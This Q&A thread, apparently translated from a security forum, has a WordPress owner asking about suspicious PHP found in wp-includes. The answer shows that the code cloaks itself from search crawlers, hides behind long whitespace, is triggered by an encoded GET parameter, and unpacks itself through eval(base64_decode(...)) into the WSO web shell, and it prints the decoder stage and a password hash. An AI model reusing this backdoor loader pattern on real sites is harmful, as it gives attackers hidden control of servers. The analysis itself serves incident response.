Encontré este código extraño en mi Wordpress en wp-includes

5

Encontré el siguiente código en mi aplicación de Wordpress, pero ni siquiera estoy seguro de lo que está decodificado. La primera parte del archivo se ve así:

<?php

// Preventing a directory listing
if(!empty($_SERVER["HTTP_USER_AGENT"])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

    if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
        header("HTTP/1.0 404 Not Found");exit;
    }
} 

Y la siguiente parte del archivo se ve así (lo publiqué en la página principal porque no me dejaba ponerlo aquí porque es demasiado largo): enlace

¿Podrían ayudarme a entender qué está haciendo esto?

    
pregunta Hommer Smith 05.03.2014 - 19:22
fuente

1 respuesta

8

Esto definitivamente es algo que el autor no quiso ver. Incluso la gist en Github se parece a las nueve líneas de código que has publicado aquí. Solo un script para evitar el listado de directorios ...

Pero solo a primera vista. Porque si te fijas más, la última línea tiene una longitud enorme de 91959 caracteres con mucho espacio en blanco después del } inicial.

El código adicional completo está envuelto en una declaración if :

if (isset($_GET[str_rot13(pack("H*", "667265707267"))]))

Esto comprueba si $_GET['secret'] está configurado. El código dentro del bloque if es básicamente una variable que contiene la carga útil real ( $_X ):

$_F=__FILE__;
$_X="…";

Y un decodificador:

eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPXN0cl9yZXBsYWNlKCdfX0ZJTEVfXycsIiciLiRfRi4iJyIsJF9YKTtldmFsKCRfUik7JF9SPTA7JF9YPTA7"));

El uso de echo en lugar de eval da como resultado:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=str_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;

Después de otro paso de decodificación, la carga útil real se decodifica y revela una versión 2.5 de WSO Web Shell con 2ef1d6430bce32d929d13a00fe281be8 como el hash MD5 de la contraseña.

    
respondido por el Gumbo 05.03.2014 - 20:50
fuente

Lea otras preguntas en las etiquetas